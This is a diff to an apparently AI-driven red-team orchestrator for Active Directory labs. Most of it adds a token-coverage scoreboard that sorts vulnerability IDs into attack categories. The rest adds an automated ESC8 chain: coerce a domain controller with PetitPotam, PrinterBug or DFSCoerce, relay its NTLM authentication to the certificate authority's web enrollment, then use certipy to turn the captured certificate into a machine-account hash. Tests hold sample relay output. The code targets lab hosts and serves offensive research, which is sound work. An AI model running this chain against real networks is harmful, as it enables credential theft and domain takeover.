diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index 9ec35f50..f0f3efd7 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -308,6 +308,11 @@ pub(super) fn print_loot_human( &state.exploited_vulnerabilities, ); + print_token_coverage( + &state.discovered_vulnerabilities, + &state.exploited_vulnerabilities, + ); + print_attack_path(&state.all_timeline_events); print_mitre_techniques(&state.all_techniques, &state.all_timeline_events); } @@ -514,6 +519,174 @@ fn print_vulnerabilities( println!(); } +/// Render a scoreboard-aligned token coverage table: +/// +/// Category Discovered Exploited Status +/// ------------------------------------------------------ +/// acl_abuse 12 3 PARTIAL +/// adcs_esc1 2 2 ✓ +/// constrained_delegation 2 0 ✗ +/// ... +/// +/// The category is the dreadgoad scoreboard token prefix (anything before +/// the first `_
` segment). Mirrors `aresExploitedToTechniqueIDs` +/// in `DreadGOAD/cli/internal/scoreboard/transport_ares.go` so what the +/// operator sees here matches what the scoreboard will credit on the next +/// dredgoad pull — the diff between "Discovered" and "Exploited" is the +/// concrete regression backlog. +fn print_token_coverage( + discovered: &HashMap, + exploited: &HashSet, +) { + if discovered.is_empty() && exploited.is_empty() { + return; + } + + let mut discovered_by_cat: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + let mut exploited_by_cat: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + + for id in discovered.keys() { + let cat = token_category(id); + *discovered_by_cat.entry(cat).or_default() += 1; + } + for id in exploited { + let cat = token_category(id); + *exploited_by_cat.entry(cat).or_default() += 1; + } + + // Union of categories so a category that only appears in :exploited + // (e.g. golden_ticket- emitted by milestones) still renders. + let mut categories: Vec<&String> = discovered_by_cat.keys().collect(); + for k in exploited_by_cat.keys() { + if !categories.contains(&k) { + categories.push(k); + } + } + categories.sort(); + + println!( + "Token Coverage ({} categories observed, scoreboard alignment):", + categories.len() + ); + println!( + " {:<30} {:>10} {:>10} Status", + "Category", "Discovered", "Exploited" + ); + println!(" {}", "-".repeat(70)); + for cat in &categories { + let d = discovered_by_cat.get(*cat).copied().unwrap_or(0); + let e = exploited_by_cat.get(*cat).copied().unwrap_or(0); + let status = if d == 0 && e > 0 { + // Implicit token (e.g. milestone-emitted) — counts as full. + "\u{2713}" + } else if e == 0 { + "\u{2717}" + } else if e >= d { + "\u{2713}" + } else { + "PARTIAL" + }; + println!(" {:<30} {:>10} {:>10} {}", cat, d, e, status); + } + println!(); +} + +/// Extract the scoreboard category from a vuln_id. The category is the +/// longest known prefix that matches a dreadgoad token matcher — for +/// `acl_writeproperty_alice_admins` the category is `acl_abuse`; for +/// `golden_ticket-contoso.local` it's `golden_ticket`; for +/// `adcs_esc1_192.168.58.50_template` it's `adcs_esc1`. +/// +/// Kept in sync with `aresExploitedToTechniqueIDs` in +/// `DreadGOAD/cli/internal/scoreboard/transport_ares.go`. +/// +/// Visible to sibling `json.rs` so the JSON output reuses the exact same +/// classification — divergence between text and JSON views would silently +/// confuse downstream blue-team dashboards. +pub(super) fn token_category(vuln_id: &str) -> String { + let lower = vuln_id.to_lowercase(); + // ADCS ESC variants are the only category where the trailing digits + // are part of the category name (esc1, esc10_case1, esc15, ...). Long + // forms must be matched before short ones so `adcs_esc10_case1` does + // not collapse to `adcs_esc1`. + const ADCS: &[&str] = &[ + "adcs_esc10_case1", + "adcs_esc10_case2", + "adcs_esc11", + "adcs_esc13", + "adcs_esc15", + "adcs_esc1", + "adcs_esc2", + "adcs_esc3", + "adcs_esc4", + "adcs_esc6", + "adcs_esc7", + "adcs_esc8", + "adcs_esc9", + ]; + for esc in ADCS { + if lower.starts_with(&format!("{esc}_")) || lower == *esc { + return (*esc).to_string(); + } + } + // Special-case ACL primitives — many vuln_id forms (acl_writeproperty, + // acl_genericall, acl_allextendedrights, etc.) collapse to a single + // `acl_abuse` scoreboard objective. + if lower.starts_with("acl_") { + return "acl_abuse".into(); + } + // Golden ticket uses `golden_ticket_` form. + if lower.starts_with("golden_ticket_") { + return "golden_ticket".into(); + } + // Remaining categories — first prefix-segment match wins. Order + // longest-first to handle nested prefixes (e.g. `mssql_linked_server_` + // before bare `mssql_`). + const CATEGORIES: &[&str] = &[ + "mssql_linked_server", + "mssql_impersonation", + "constrained_delegation", + "unconstrained_delegation", + "shadow_credentials", + "ntlm_relay", + "child_to_parent", + "forest_trust", + "sid_history", + "asrep_roast", + "seimpersonate", + "kerberoast", + "ntlmv1", + "gpo_abuse", + "gpo", + "mssql", + "llmnr", + "gmsa", + "laps", + "rbcd", + ]; + for c in CATEGORIES { + if lower.starts_with(&format!("{c}_")) || lower == *c { + // Normalise alias prefixes to their canonical scoreboard + // category — `gpo_writeproperty` → `gpo_abuse`, `mssql_*` → + // `mssql_exploit`. + return match *c { + "gpo" => "gpo_abuse".into(), + "mssql_impersonation" | "mssql" => "mssql_exploit".into(), + "ntlmv1" => "ntlmv1_downgrade".into(), + "llmnr" => "llmnr_nbtns_poisoning".into(), + "sid_history" => "sid_history_abuse".into(), + "seimpersonate" => "seimpersonate".into(), + "gmsa" => "gmsa_password_read".into(), + "laps" => "laps_password_read".into(), + other => other.to_string(), + }; + } + } + "other".into() +} + /// Render a single vulnerability table body (header + rows). fn print_vuln_table(vulns: &[(&String, &VulnerabilityInfo)], exploited: &HashSet) { println!( @@ -1469,4 +1642,139 @@ mod tests { assert_eq!(roots, vec!["sub.contoso.local"]); assert!(children.is_empty()); } + + // --- token_category coverage ------------------------------------------ + + #[test] + fn token_category_adcs_long_form_does_not_collapse_to_esc1() { + // Real vuln_id forms always include `_
` after the ESC code. + // The matcher uses `starts_with("{esc}_")` so `adcs_esc1` does NOT + // steal `adcs_esc10_*` / `adcs_esc11_*` / `adcs_esc15_*`. + assert_eq!( + super::token_category("adcs_esc10_case1_192.168.58.50"), + "adcs_esc10_case1" + ); + assert_eq!( + super::token_category("adcs_esc10_case2_192.168.58.50"), + "adcs_esc10_case2" + ); + assert_eq!( + super::token_category("adcs_esc11_192.168.58.50"), + "adcs_esc11" + ); + assert_eq!( + super::token_category("adcs_esc13_192.168.58.50"), + "adcs_esc13" + ); + assert_eq!( + super::token_category("adcs_esc15_192.168.58.50"), + "adcs_esc15" + ); + assert_eq!( + super::token_category("adcs_esc1_192.168.58.50"), + "adcs_esc1" + ); + } + + #[test] + fn token_category_acl_collapses_to_acl_abuse() { + assert_eq!( + super::token_category("acl_writeproperty_alice_admins"), + "acl_abuse" + ); + assert_eq!( + super::token_category("acl_genericall_bob_administrator"), + "acl_abuse" + ); + assert_eq!( + super::token_category("acl_allextendedrights_carol_domain_admins"), + "acl_abuse" + ); + assert_eq!(super::token_category("acl_writedacl_dave_eve"), "acl_abuse"); + } + + #[test] + fn token_category_mssql_normalises_to_canonical() { + assert_eq!( + super::token_category("mssql_linked_server_192.168.58.51_sql"), + "mssql_linked_server" + ); + assert_eq!( + super::token_category("mssql_impersonation_192.168.58.51"), + "mssql_exploit" + ); + assert_eq!(super::token_category("mssql_10_1_2_51"), "mssql_exploit"); + } + + #[test] + fn token_category_delegation_and_trust() { + assert_eq!( + super::token_category("constrained_delegation_alice"), + "constrained_delegation" + ); + assert_eq!( + super::token_category("unconstrained_delegation_web01$"), + "unconstrained_delegation" + ); + assert_eq!(super::token_category("rbcd_dc01_web01"), "rbcd"); + assert_eq!( + super::token_category("child_to_parent_child_contoso_local_contoso_local"), + "child_to_parent" + ); + assert_eq!( + super::token_category("forest_trust_contoso_local_fabrikam_local"), + "forest_trust" + ); + } + + #[test] + fn token_category_golden_ticket_keeps_domain_in_id() { + assert_eq!( + super::token_category("golden_ticket_contoso.local"), + "golden_ticket" + ); + assert_eq!( + super::token_category("golden_ticket_child.contoso.local"), + "golden_ticket" + ); + } + + #[test] + fn token_category_aliases_collapse() { + assert_eq!(super::token_category("ntlmv1_dc01"), "ntlmv1_downgrade"); + assert_eq!( + super::token_category("llmnr_attacker_box"), + "llmnr_nbtns_poisoning" + ); + assert_eq!( + super::token_category("sid_history_alice"), + "sid_history_abuse" + ); + assert_eq!(super::token_category("gmsa_svc_web"), "gmsa_password_read"); + assert_eq!(super::token_category("laps_dc01"), "laps_password_read"); + assert_eq!( + super::token_category("gpo_writeproperty_alice_31b2"), + "gpo_abuse" + ); + assert_eq!( + super::token_category("seimpersonate_web01"), + "seimpersonate" + ); + } + + #[test] + fn token_category_roast_tokens() { + assert_eq!(super::token_category("kerberoast_sql_svc"), "kerberoast"); + assert_eq!( + super::token_category("asrep_roast_contoso.local"), + "asrep_roast" + ); + } + + #[test] + fn token_category_unknown_falls_through_to_other() { + assert_eq!(super::token_category("zerologon_dc01"), "other"); + assert_eq!(super::token_category("nopac_192.168.58.10"), "other"); + assert_eq!(super::token_category(""), "other"); + } } diff --git a/ares-cli/src/ops/loot/format/json.rs b/ares-cli/src/ops/loot/format/json.rs index afaf7564..70e26635 100644 --- a/ares-cli/src/ops/loot/format/json.rs +++ b/ares-cli/src/ops/loot/format/json.rs @@ -178,6 +178,10 @@ pub(super) fn print_loot_json( "details": v.details, "discovered_by": v.discovered_by, })).collect::>(), + "token_coverage": build_token_coverage_json( + &state.discovered_vulnerabilities, + &state.exploited_vulnerabilities, + ), "timeline": state.all_timeline_events, "techniques": state.all_techniques, }); @@ -187,3 +191,158 @@ pub(super) fn print_loot_json( serde_json::to_string_pretty(&output).unwrap_or_default() ); } + +/// Build a JSON object summarising scoreboard-token coverage: +/// +/// ```json +/// { +/// "acl_abuse": { "discovered": 12, "exploited": 3, "status": "partial" }, +/// "adcs_esc1": { "discovered": 2, "exploited": 2, "status": "ok" }, +/// "constrained_delegation": { "discovered": 2, "exploited": 0, "status": "missing" }, +/// ... +/// } +/// ``` +/// +/// Used by downstream consumers (blue submit, dashboards, the dreadgoad +/// scoreboard verifier) so they don't have to re-derive category mapping +/// from raw `vuln_id` strings. Category logic mirrors +/// `super::display::token_category` — keep them in lock-step so the +/// text/JSON views match. +fn build_token_coverage_json( + discovered: &HashMap, + exploited: &std::collections::HashSet, +) -> serde_json::Value { + let mut discovered_by_cat: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + let mut exploited_by_cat: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + for id in discovered.keys() { + let cat = super::display::token_category(id); + *discovered_by_cat.entry(cat).or_default() += 1; + } + for id in exploited { + let cat = super::display::token_category(id); + *exploited_by_cat.entry(cat).or_default() += 1; + } + let mut categories: Vec<&String> = discovered_by_cat.keys().collect(); + for k in exploited_by_cat.keys() { + if !categories.contains(&k) { + categories.push(k); + } + } + categories.sort(); + + let mut out = serde_json::Map::new(); + for cat in categories { + let d = discovered_by_cat.get(cat).copied().unwrap_or(0); + let e = exploited_by_cat.get(cat).copied().unwrap_or(0); + // Status mirrors the text view exactly so the operator's eye and + // the dashboard's diff land on the same string. + let status = if d == 0 && e > 0 { + "ok" + } else if e == 0 { + "missing" + } else if e >= d { + "ok" + } else { + "partial" + }; + out.insert( + cat.clone(), + serde_json::json!({ + "discovered": d, + "exploited": e, + "status": status, + }), + ); + } + serde_json::Value::Object(out) +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::VulnerabilityInfo; + use std::collections::HashSet; + + fn vuln(vuln_type: &str, vuln_id: &str) -> VulnerabilityInfo { + VulnerabilityInfo { + vuln_id: vuln_id.to_string(), + vuln_type: vuln_type.to_string(), + target: String::new(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: std::collections::HashMap::new(), + recommended_agent: String::new(), + priority: 1, + } + } + + #[test] + fn token_coverage_groups_per_category_and_marks_status() { + let mut discovered: HashMap = HashMap::new(); + // 2 ACL primitives discovered, 0 exploited → missing + discovered.insert( + "acl_writeproperty_alice_bob".into(), + vuln("writeproperty", "acl_writeproperty_alice_bob"), + ); + discovered.insert( + "acl_genericall_alice_bob".into(), + vuln("genericall", "acl_genericall_alice_bob"), + ); + // 1 ESC1 discovered + exploited → ok + discovered.insert( + "adcs_esc1_192.168.58.50_template".into(), + vuln("adcs_esc1", "adcs_esc1_192.168.58.50_template"), + ); + // 2 mssql_linked_server discovered, 1 exploited → partial + discovered.insert( + "mssql_linked_server_192.168.58.51_a".into(), + vuln("mssql_linked_server", "mssql_linked_server_192.168.58.51_a"), + ); + discovered.insert( + "mssql_linked_server_192.168.58.51_b".into(), + vuln("mssql_linked_server", "mssql_linked_server_192.168.58.51_b"), + ); + + let mut exploited: HashSet = HashSet::new(); + exploited.insert("adcs_esc1_192.168.58.50_template".into()); + exploited.insert("mssql_linked_server_192.168.58.51_a".into()); + // Implicit golden_ticket — emitted by milestones, no matching + // discovered_vulnerabilities entry. Must still appear. + exploited.insert("golden_ticket_contoso.local".into()); + + let cov = build_token_coverage_json(&discovered, &exploited); + let obj = cov.as_object().expect("object"); + + // ACL: 2 discovered, 0 exploited → missing + let acl = obj.get("acl_abuse").expect("acl_abuse present"); + assert_eq!(acl.get("discovered").and_then(|v| v.as_u64()), Some(2)); + assert_eq!(acl.get("exploited").and_then(|v| v.as_u64()), Some(0)); + assert_eq!(acl.get("status").and_then(|v| v.as_str()), Some("missing")); + + // ESC1: 1/1 → ok + let esc1 = obj.get("adcs_esc1").expect("adcs_esc1 present"); + assert_eq!(esc1.get("status").and_then(|v| v.as_str()), Some("ok")); + + // MSSQL Linked Server: 1/2 → partial + let mls = obj + .get("mssql_linked_server") + .expect("mssql_linked_server present"); + assert_eq!(mls.get("status").and_then(|v| v.as_str()), Some("partial")); + + // Golden Ticket: discovered=0, exploited=1 → ok (implicit milestone token) + let gt = obj.get("golden_ticket").expect("golden_ticket present"); + assert_eq!(gt.get("discovered").and_then(|v| v.as_u64()), Some(0)); + assert_eq!(gt.get("exploited").and_then(|v| v.as_u64()), Some(1)); + assert_eq!(gt.get("status").and_then(|v| v.as_str()), Some("ok")); + } + + #[test] + fn token_coverage_empty_state_returns_empty_object() { + let discovered: HashMap = HashMap::new(); + let exploited: HashSet = HashSet::new(); + let cov = build_token_coverage_json(&discovered, &exploited); + assert_eq!(cov, serde_json::json!({})); + } +} diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs index b52da6cd..8bf2500d 100644 --- a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -22,6 +22,101 @@ use crate::orchestrator::dispatcher::Dispatcher; /// Dedup key prefix for ADCS exploitation. const DEDUP_ADCS_EXPLOIT: &str = "adcs_exploit"; +/// Max coerce candidates `dispatch_esc8_deterministic` walks per dispatch. +/// +/// Each `relay_and_coerce` invocation runs ~60–90s (listener bind, PetitPotam +/// → PrinterBug → DFSCoerce phase walk, capture+exit). Three is enough to +/// cover the realistic "DC1 patched, DC2/member server still bites" lab +/// shape without one ESC8 tick blocking other automations for >5min. +/// Subsequent attempts come on the next dedup-cleared tick. +const ESC8_MAX_COERCE_ATTEMPTS: usize = 3; + +/// Result of parsing a single `relay_and_coerce` tool output blob. +#[derive(Debug, Default, PartialEq, Eq)] +pub(crate) struct ParsedRelayOutput { + /// Path to the captured PKCS#12 cert when the relay succeeded. `None` + /// when no PFX_FILE marker appeared. + pub pfx_path: Option, + /// `RELAYED_USER=` value when present — the relayed machine + /// account name. Used by the certipy_auth phase to set the principal + /// the cert is going to authenticate as. + pub relayed_user: Option, + /// True when the tool returned the RELAY_BIND_BUSY sentinel indicating + /// another relay already holds the host-wide port 445 mutex. Caller + /// should abort the candidate walk and clear dedup for next-tick retry + /// rather than burning failure-counter slots against a transient race. + pub bind_busy: bool, +} + +/// Pure parser for `relay_and_coerce` stdout. Recognises: +/// - `PFX_FILE=` — relay captured a cert, stored at `` +/// - `RELAYED_USER=` — relayed identity (typically a `$` SAM) +/// - `RELAY_BIND_BUSY` — host-wide port-445 mutex contended +/// +/// Extracted from the ESC8 spawn body so the marker-parsing logic can be +/// unit-tested without spinning up tokio / NATS / a real relay subprocess. +pub(crate) fn parse_relay_coerce_output(output: &str) -> ParsedRelayOutput { + let mut parsed = ParsedRelayOutput::default(); + if output.contains("RELAY_BIND_BUSY") { + parsed.bind_busy = true; + // Fall through — a tool that printed RELAY_BIND_BUSY and ALSO a + // stale PFX_FILE from a prior run is malformed; the bind_busy flag + // wins. + return parsed; + } + for line in output.lines() { + let line = line.trim(); + if let Some(rest) = line.strip_prefix("PFX_FILE=") { + let v = rest.trim(); + if !v.is_empty() { + parsed.pfx_path = Some(v.to_string()); + } + } else if let Some(rest) = line.strip_prefix("RELAYED_USER=") { + let v = rest.trim(); + if !v.is_empty() { + parsed.relayed_user = Some(v.to_string()); + } + } + } + parsed +} + +/// Cap a candidate list to `ESC8_MAX_COERCE_ATTEMPTS` and clone into a +/// fresh Vec. Kept as a thin function so the cap logic has a unit test +/// (callers want assurance the list is bounded before the long-running +/// spawn walks it). +pub(crate) fn cap_esc8_candidates(candidates: &[String]) -> Vec { + candidates + .iter() + .take(ESC8_MAX_COERCE_ATTEMPTS) + .cloned() + .collect() +} + +/// Build the `relay_and_coerce` arguments JSON. Pure — caller passes +/// pre-validated values and gets back the JSON shape the tool expects. +/// Separated for testability and so the `certipy_auth` follow-up code path +/// can stay textually small in the spawn body. +pub(crate) fn build_relay_coerce_args( + ca_host: &str, + coerce_target: &str, + attacker_ip: &str, + template: &str, + cred_username: &str, + cred_password: &str, + cred_domain: &str, +) -> serde_json::Value { + serde_json::json!({ + "ca_host": ca_host, + "coerce_target": coerce_target, + "attacker_ip": attacker_ip, + "template": template, + "coerce_user": cred_username, + "coerce_password": cred_password, + "coerce_domain": cred_domain, + }) +} + /// ADCS vulnerability types we know how to exploit. /// ESC1/2/3/6: certipy req (enrollment-based, certipy_request tool) /// ESC4: certipy template modification (certipy_template_esc4 / certipy_esc4_full_chain) @@ -269,6 +364,21 @@ pub async fn auto_adcs_exploitation( continue; } + // ESC8 (NTLM relay to /certsrv) was LLM-routed and in practice + // failed two ways: (a) LLM picked tool order wrong / forgot + // certipy_auth on the captured .pfx; (b) ntlmrelayx port-445 + // collisions surfaced as opaque "RELAY_BIND_FAILED" the agent + // could not action. The `relay_and_coerce` composite tool + + // Tier 9's port-free check + certipy_auth on the PFX path the + // tool prints under `PFX_FILE=` lets us drive the full chain + // deterministically. Same dedup/retry lifecycle as ESC1/ESC3. + if item.esc_type == "esc8" { + if dispatch_esc8_deterministic(&dispatcher, &item).await { + // Spawn manages its own dedup-clear-on-failure. + } + continue; + } + let role = role_for_esc_type(&item.esc_type); // Coercion-based ESC paths (ESC8, ESC11) need a relay listener and @@ -752,6 +862,345 @@ async fn dispatch_esc1_deterministic(dispatcher: &Arc, item: &AdcsEx true } +/// ESC8 = NTLM relay from a coerced DC to the CA's web enrollment endpoint. +/// The full chain is: +/// 1. `relay_and_coerce` listens on `attacker_ip:445`, coerces the chosen +/// DC via PetitPotam / PrinterBug / DFSCoerce, and relays the captured +/// NTLM auth to `http:///certsrv/certfnsh.asp`. On success +/// ntlmrelayx writes a PKCS#12 to disk and the tool surfaces +/// `PFX_FILE=` + `RELAYED_USER=` markers. +/// 2. `certipy_auth` consumes the PFX → returns the NT hash of the +/// relayed machine account (`$`). +/// 3. mark_exploited on the ADCS ESC8 vuln_id. +/// +/// The vuln stays dedup-locked on success and on attempt-cap exhaustion; +/// transient failures (RELAY_BIND_BUSY, RELAY_BIND_FAILED, missing pfx) +/// clear dedup so the next tick can retry — that's how the chain rides out +/// a brief listener race or a coerce target the LLM-collected list pointed +/// at the wrong host. +async fn dispatch_esc8_deterministic(dispatcher: &Arc, item: &AdcsExploitWork) -> bool { + if dispatcher.state.is_exploit_abandoned(&item.vuln_id).await { + info!( + vuln_id = %item.vuln_id, + "ESC8 chain skipped — vuln abandoned (>=MAX_EXPLOIT_FAILURES); locking dedup" + ); + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + return false; + } + + let Some(ca_host) = item.ca_host.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC8 chain skipped — CA host unknown"); + return false; + }; + let Some(attacker_ip) = dispatcher.config.listener_ip.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC8 chain skipped — listener_ip not configured; relay has nowhere to bind" + ); + return false; + }; + // Collect coerce candidates. The `pick_coerce_targets` helper already + // orders DCs first then other domain-joined hosts; coercing the CA + // itself is rejected at the tool layer (NTLM loopback protection) and + // pick_coerce_targets explicitly excludes it. + // + // Walk up to ESC8_MAX_COERCE_ATTEMPTS candidates per tick: the first + // target may be patched (PetitPotam blocked) or unreachable (firewalled + // PrinterBug/DFSCoerce ports), in which case the relay listener bound + // for nothing. Trying additional candidates in the same dispatch lets + // a single ESC8 tick cover the realistic "DC1 hardened, DC2 / SRV03 + // not" lab shape without bloating spawn count. + if item.coerce_candidates.is_empty() { + debug!( + vuln_id = %item.vuln_id, + "ESC8 chain skipped — no coerce candidate available (need a DC other than the CA host)" + ); + return false; + } + let coerce_candidates: Vec = cap_esc8_candidates(&item.coerce_candidates); + let Some(cred) = item.credential.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC8 chain skipped — no credential"); + return false; + }; + + // Mark dedup BEFORE spawning so the next 5s exploitation tick doesn't + // re-dispatch while the (long-running) relay is in flight. + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + + let template = item + .template_name + .clone() + .unwrap_or_else(|| "DomainController".to_string()); + + info!( + vuln_id = %item.vuln_id, + ca_host = %ca_host, + candidate_count = coerce_candidates.len(), + attacker_ip = %attacker_ip, + "ESC8 chain dispatched (direct tool, no LLM): relay+coerce phase" + ); + + let dispatcher_bg = dispatcher.clone(); + let vuln_id_bg = item.vuln_id.clone(); + let dedup_key_bg = item.dedup_key.clone(); + let domain_bg = item.domain.clone(); + let ca_host_bg = ca_host; + tokio::spawn(async move { + // Walk the candidate list. First target that yields a PFX wins; + // ones that bail (target patched, port filtered, etc.) just + // advance to the next. The `relay_and_coerce` composite tool's + // RELAY_BIND_BUSY return value short-circuits this loop because a + // hot listener race won't clear in <60s — better to bail and let + // the next ESC8 tick retry. + let mut pfx_path: Option = None; + let mut relayed_user: Option = None; + let mut last_summary = String::new(); + let mut bind_busy = false; + let mut last_task_id = String::new(); + for (idx, coerce_target) in coerce_candidates.iter().enumerate() { + let relay_args = build_relay_coerce_args( + &ca_host_bg, + coerce_target, + &attacker_ip, + &template, + &cred.username, + &cred.password, + &cred.domain, + ); + let relay_task_id = format!( + "esc8_chain_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + last_task_id = relay_task_id.clone(); + let relay_call = ares_llm::ToolCall { + id: format!("relay_and_coerce_{}", uuid::Uuid::new_v4().simple()), + name: "relay_and_coerce".to_string(), + arguments: relay_args, + }; + info!( + vuln_id = %vuln_id_bg, + attempt = idx + 1, + of = coerce_candidates.len(), + coerce_target = %coerce_target, + task_id = %relay_task_id, + "ESC8: trying coerce candidate" + ); + + let relay_result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("coercion", &relay_task_id, &relay_call) + .await; + let relay_output = match relay_result { + Ok(r) => r, + Err(e) => { + warn!( + vuln_id = %vuln_id_bg, + coerce_target = %coerce_target, + err = %e, + "ESC8: relay_and_coerce dispatch errored — trying next candidate" + ); + last_summary = format!("dispatch error against {coerce_target}: {e}"); + continue; + } + }; + + let parsed = parse_relay_coerce_output(&relay_output.output); + + // Early-out on RELAY_BIND_BUSY — another relay holds port 445 + // host-wide. Subsequent candidates would race the same way. + // Clear dedup so the next ESC8 tick can retry once the holder + // releases. + if parsed.bind_busy { + warn!( + vuln_id = %vuln_id_bg, + coerce_target = %coerce_target, + "ESC8: RELAY_BIND_BUSY — another relay holds port 445; aborting candidate walk" + ); + bind_busy = true; + last_summary = "RELAY_BIND_BUSY".to_string(); + break; + } + + if let Some(p) = parsed.pfx_path { + pfx_path = Some(p); + relayed_user = parsed.relayed_user; + info!( + vuln_id = %vuln_id_bg, + coerce_target = %coerce_target, + "ESC8: PFX captured on attempt {}", + idx + 1 + ); + break; + } + + last_summary = relay_output + .output + .lines() + .rev() + .take(4) + .collect::>() + .into_iter() + .rev() + .collect::>() + .join(" | "); + info!( + vuln_id = %vuln_id_bg, + coerce_target = %coerce_target, + tail = %last_summary, + "ESC8: candidate produced no PFX — trying next" + ); + } + + let Some(pfx_path) = pfx_path else { + if bind_busy { + // Transient — let the next tick retry without burning a + // failure counter slot. + esc8_clear_dedup(&dispatcher_bg, &dedup_key_bg, &vuln_id_bg).await; + return; + } + warn!( + vuln_id = %vuln_id_bg, + last_task_id = %last_task_id, + output_tail = %last_summary, + "ESC8 chain: no candidate yielded a PFX — counting as failure" + ); + let _ = dispatcher_bg + .state + .record_exploit_failure(&vuln_id_bg) + .await; + if !dispatcher_bg.state.is_exploit_abandoned(&vuln_id_bg).await { + esc8_clear_dedup(&dispatcher_bg, &dedup_key_bg, &vuln_id_bg).await; + } + return; + }; + + info!( + vuln_id = %vuln_id_bg, + pfx = %pfx_path, + relayed = ?relayed_user, + "ESC8 chain: cert captured; authenticating with certipy_auth" + ); + + // Phase 2: certipy auth -pfx -> NT hash for the relayed user. + // The auth produces a Hash discovery via the certipy_auth parser. + let mut auth_args = serde_json::json!({ "pfx": pfx_path }); + if let Some(ref u) = relayed_user { + // Strip trailing `$` (impacket's relay output ends machine + // account names with `$`); certipy_auth wants the bare SAM name. + auth_args["username"] = serde_json::Value::String(u.trim_end_matches('$').to_string()); + } + if !domain_bg.is_empty() { + auth_args["domain"] = serde_json::Value::String(domain_bg.clone()); + } + if !ca_host_bg.is_empty() { + // certipy_auth uses dc-ip for the KDC lookup; the CA host is + // also a viable target since ESC8's coerced victim is a DC and + // its KDC sits on the same host. Caller can override via + // payload if a separate dc_ip is known. + auth_args["dc_ip"] = serde_json::Value::String(ca_host_bg.clone()); + } + + let auth_call = ares_llm::ToolCall { + id: format!("certipy_auth_{}", uuid::Uuid::new_v4().simple()), + name: "certipy_auth".to_string(), + arguments: auth_args, + }; + let auth_task_id = format!( + "esc8_auth_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let auth_result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("privesc", &auth_task_id, &auth_call) + .await; + + let captured_hash = match auth_result { + Ok(r) => r + .discoveries + .as_ref() + .and_then(|d| d.get("hashes")) + .and_then(|h| h.as_array()) + .map(|a| !a.is_empty()) + .unwrap_or(false), + Err(_) => false, + }; + + if captured_hash { + // Same scoreboard-credit gap as ESC1/ESC3 — the deterministic + // chain bypasses the `exploit_*` task_id gate in + // result_processing, so we mark explicitly here. + if let Err(e) = dispatcher_bg + .state + .mark_exploited(&dispatcher_bg.queue, &vuln_id_bg) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id_bg, + "Failed to mark ESC8 exploited (chain succeeded but token not emitted)" + ); + } + info!( + vuln_id = %vuln_id_bg, + "ESC8 chain succeeded — NTLM hash published; auto_credential_reuse will fan out from here" + ); + return; + } + + // certipy_auth didn't produce a hash. Record failure; if not yet at + // the attempt cap, clear dedup for retry. The .pfx is left on disk + // — operators can re-auth manually if the issue is transient. + let attempts = dispatcher_bg + .state + .record_exploit_failure(&vuln_id_bg) + .await; + let abandoned = dispatcher_bg.state.is_exploit_abandoned(&vuln_id_bg).await; + if abandoned { + warn!( + vuln_id = %vuln_id_bg, + attempts, + "ESC8 chain abandoned — exhausted MAX_EXPLOIT_FAILURES; dedup stays locked" + ); + return; + } + warn!( + vuln_id = %vuln_id_bg, + attempts, + "ESC8 chain: cert captured but certipy_auth failed to produce hash — clearing dedup for retry" + ); + esc8_clear_dedup(&dispatcher_bg, &dedup_key_bg, &vuln_id_bg).await; + }); + true +} + +/// Shared dedup-clear path for ESC8 retry. Mirrors the inline pattern from +/// `dispatch_esc1_deterministic` / `dispatch_esc3_deterministic`, hoisted +/// here so the multi-arm error handling in the ESC8 spawn stays readable. +async fn esc8_clear_dedup(dispatcher: &Arc, dedup_key: &str, _vuln_id: &str) { + { + let mut state = dispatcher.state.write().await; + state.unmark_processed(DEDUP_ADCS_EXPLOIT, dedup_key); + } + let _ = dispatcher + .state + .unpersist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, dedup_key) + .await; +} + async fn dispatch_esc3_deterministic(dispatcher: &Arc, item: &AdcsExploitWork) -> bool { // Bail early when the existing exploitation pipeline has already given // up on this vuln. Without this check we'd keep refiring against a @@ -1701,4 +2150,129 @@ mod tests { let out = pick_coerce_targets(Some("192.168.58.10"), None, &dcs, &[]); assert!(out.is_empty()); } + + // --- parse_relay_coerce_output -------------------------------------- + + #[test] + fn parse_relay_output_captures_pfx_and_user() { + let stdout = "\ +RELAY_PID=12345 +=== Phase 1: unauth PetitPotam === +[*] PetitPotam succeeded +=== RELAY LOG === +[+] Authenticating against http://192.168.58.50/certsrv +[+] Saving ticket in attacker.ccache +PFX_FILE=/tmp/ares_relay_abc/DC01$.pfx +RELAYED_USER=DC01$ +"; + let parsed = super::parse_relay_coerce_output(stdout); + assert!(!parsed.bind_busy); + assert_eq!( + parsed.pfx_path.as_deref(), + Some("/tmp/ares_relay_abc/DC01$.pfx") + ); + assert_eq!(parsed.relayed_user.as_deref(), Some("DC01$")); + } + + #[test] + fn parse_relay_output_detects_bind_busy() { + let stdout = "RELAY_BIND_BUSY\nAnother relay_and_coerce is active on this host (loopback port 41445 